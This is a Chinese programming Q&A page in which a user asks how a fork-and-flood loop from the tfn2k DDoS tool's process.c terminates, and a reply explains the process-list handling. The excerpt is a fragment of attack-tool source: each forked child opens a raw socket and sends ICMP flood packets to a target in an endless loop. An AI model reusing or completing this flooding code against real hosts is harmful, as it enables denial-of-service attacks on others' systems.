您好,欢迎来到[编程问答]网站首页   源码下载   电子书籍   软件下载   专题
当前位置:首页 >> 编程问答 >> VC/MFC >> 有关攻击工具tfn2k中processc的一个循环----linux下gcc网络编程方面

有关攻击工具tfn2k中processc的一个循环----linux下gcc网络编程方面

来源:网络整理     时间:2016/8/5 2:01:04     关键词:

关于网友提出的“ 有关攻击工具tfn2k中processc的一个循环----linux下gcc网络编程方面”问题疑问,本网通过在网上对“ 有关攻击工具tfn2k中processc的一个循环----linux下gcc网络编程方面”有关的相关答案进行了整理,供用户进行参考,详细问题解答如下:

问题: 有关攻击工具tfn2k中processc的一个循环----linux下gcc网络编程方面
描述:

   大家好,以下一段代码是从tfn2k的process.c中一个循环,于157行,注释是我自己加上的,我所不明白的是后面的该程序如何退出循环?
    另外,创建子进程和后面的代码有何关系?请熟悉linux编程并有网络安全基础的朋友解答一下。
while ((parse != NULL) && (i++ < CHLD_MAX))
    {
      resolved = resolve (parse);/*本函数定义于ip.c的18行,解释IP*/
      p = fork ();/*创建子进程*/
      if (!p)
     {
    rawsock = socket(AF_INET, SOCK_RAW, RAW);/*rawsock为外部定义的变量,此处修改,相当于全局变量*/
     if (rawsock < 0)
      rawsock = socket (AF_INET, SOCK_RAW, ICMP);
      /*设置套接字的属性*/
       setsockopt (rawsock, IP, IP_HDRINCL, "1", sizeof ("1"));/*IP_HDRINCL表在数据包中包含IP首部*/
      if (resolved == -1)/*解析IP失败*/
       exit (0);
     while (1)   /*此处为不断地发送ICMP攻击包*/
         icmp (resolved, 0);/*icmp()函数定义于flood.c的102行,其内容不循环,只是填充一个icmp数据包并调用sendto函数发送出去*/
    }
     #ifdef ATTACKLOG
      {
     char tmpbuf[100];
    sprintf (tmpbuf, "PID %d forking (#%d), child (%d) attacks %s, ICMP\n"
     ,getpid (), i, p, parse);
     dbug (tmpbuf);
      }
     #endif
      pid[i] = p;
      parse = strtok (NULL, DELIMITER);
    }


解决方案1:

引用 18 楼 jqmoab 的回复:
引用 17 楼 blackcat242 的回复:
引用 16 楼 jqmoab 的回复: 
哦,不好意思,其实我也很菜的,只是不理解。即使复制了进程,也不能让上一次的进程终止呵。 
为什么不可以终止进程?进程内exit或者父进程发信号都可以结束掉 
 
这是这个工具软件的源代码,一个法国人编写的,可正常编译运行并正常使用。我只是想读懂它。我一直看不明白,看似死循环,它无需终止语句却又可以接受客户端命令,停止发送icmp数据包,即停止上…

pid[i] = p; 这句就是维护一个进程列表,上面的while就是一个最大进程数的处理,进入循环后,立即生产一个子进程进行发送;接收我想应该是由其他线程或者进程来处理的。接收到消息处理后,结束相应的子进程。
以上介绍了“ 有关攻击工具tfn2k中processc的一个循环----linux下gcc网络编程方面”的问题解答,希望对有需要的网友有所帮助。
本文网址链接:http://www.codes51.com/itwd/3114701.html

相关图片

相关文章